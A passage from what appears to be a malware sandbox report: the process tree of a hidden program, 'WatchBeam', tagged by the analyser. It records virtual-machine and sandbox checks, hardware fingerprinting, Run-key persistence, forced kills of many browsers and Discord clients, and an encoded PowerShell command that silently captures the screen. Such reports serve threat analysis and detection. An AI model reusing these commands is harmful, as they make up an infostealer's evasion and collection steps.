- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse"
    3⤵
    - Looks for VMWare services registry key.
    PID:3500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\KVM""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\KVM"
    3⤵
    PID:1092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5432
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  PID:1896
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "[System.Windows.Forms.Cursor]::Position.X""
  2⤵
  PID:3232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.Windows.Forms.Cursor]::Position.X"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  PID:6124
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5744
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  PID:4996
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vol c:"
  2⤵
  PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  PID:5932
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:1404
- C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchBeam" --app-path="C:\Users\Admin\AppData\Local\Programs\WatchBeam\resources\app.asar" --no-sandbox --no-zygote --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1782384148050624 --launch-time-ticks=639333943 --field-trial-handle=1772,i,16833821501547625437,8597852542688553769,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1776,i,3081465605758884559,28466707541342240,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2812 /prefetch:1
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1840
- C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchBeam" --field-trial-handle=1772,i,16833821501547625437,8597852542688553769,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1776,i,3081465605758884559,28466707541342240,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=2960 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:5336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  PID:1924
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:2388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  PID:3700
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:1960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:2632
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:1764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:3632
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:1408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  PID:1552
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:1380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  PID:2864
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:2968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe /T"
  2⤵
  PID:4360
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM orbitum.exe /T
    3⤵
    - Kills process with taskkill
    PID:4488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM atom.exe /T"
  2⤵
  PID:2364
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM atom.exe /T
    3⤵
    - Kills process with taskkill
    PID:4500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe /T"
  2⤵
  PID:4960
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM kometa.exe /T
    3⤵
    - Kills process with taskkill
    PID:1312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM torch.exe /T"
  2⤵
  PID:4376
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4500
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM torch.exe /T
    3⤵
    - Kills process with taskkill
    PID:5224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM amigo.exe /T"
  2⤵
  PID:3112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3492
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM amigo.exe /T
    3⤵
    - Kills process with taskkill
    PID:3096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  PID:1408
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:5224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe /T"
  2⤵
  PID:5524
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM uran.exe /T
    3⤵
    - Kills process with taskkill
    PID:816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  PID:1792
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:2216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ivaldi.exe /T"
  2⤵
  PID:1548
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2552
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:5880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T"
  2⤵
  PID:3008
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2216
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    PID:1516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:4292
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:4204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:5312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:5076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:4204
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:5908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAxADcAOAAyAC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAxADcAOAAyAC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AMQA3ADgAMgAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADEANwA4ADIALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA"
  2⤵
  PID:1952
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAxADcAOAAyAC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwAxADcAOAAyAC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AMQA3ADgAMgAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADEANwA4ADIALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA
    3⤵
    PID:816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:1076
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:4836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:1060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:4088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Discord.exe"
  2⤵
  PID:124
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Discord.exe
    3⤵
    - Kills process with taskkill
    PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordCanary.exe"
  2⤵
  PID:5872
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordCanary.exe
    3⤵
    - Kills process with taskkill
    PID:2636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordPTB.exe"
  2⤵
  PID:5808
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordPTB.exe
    3⤵
    - Kills process with taskkill
    PID:5912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordDevelopment.exe"
  2⤵
  PID:1720
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordDevelopment.exe
    3⤵
    - Kills process with taskkill
    PID:6040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vesktop.exe"
  2⤵
  PID:1116
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vesktop.exe
    3⤵
    - Kills process with taskkill
    PID:4520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vencord.exe"
  2⤵
  PID:2976
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vencord.exe
    3⤵
    - Kills process with taskkill
    PID:1800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM BetterDiscord.exe"
  2⤵
  PID:2528
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM BetterDiscord.exe
    3⤵
    - Kills process with taskkill
    PID:4196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Powercord.exe"
  2⤵
  PID:2628
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Powercord.exe
    3⤵
    - Kills process with taskkill
    PID:1288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Revolt.exe"
  2⤵
  PID:4752
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Revolt.exe
    3⤵
    - Kills process with taskkill
    PID:2680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Fluent.exe"
  2⤵
  PID:5424
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Fluent.exe
    3⤵
    - Kills process with taskkill
    PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Lightcord.exe"
  2⤵
  PID:4836
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Lightcord.exe
    3⤵
    - Kills process with taskkill
    PID:3396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordOpenSource.exe"
  2⤵
  PID:2468
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordOpenSource.exe
    3⤵
    - Kills process with taskkill
    PID:4488

C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
"C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe" --hidden
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\System32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1308
- C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchBeam" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1824,i,16970869914200592200,8191635272975566878,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1828,i,15015639253223467456,11385353814399690869,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1820 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5312
- C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchBeam" --field-trial-handle=1824,i,16970869914200592200,8191635272975566878,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1828,i,15015639253223467456,11385353814399690869,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1980 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:1960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5192
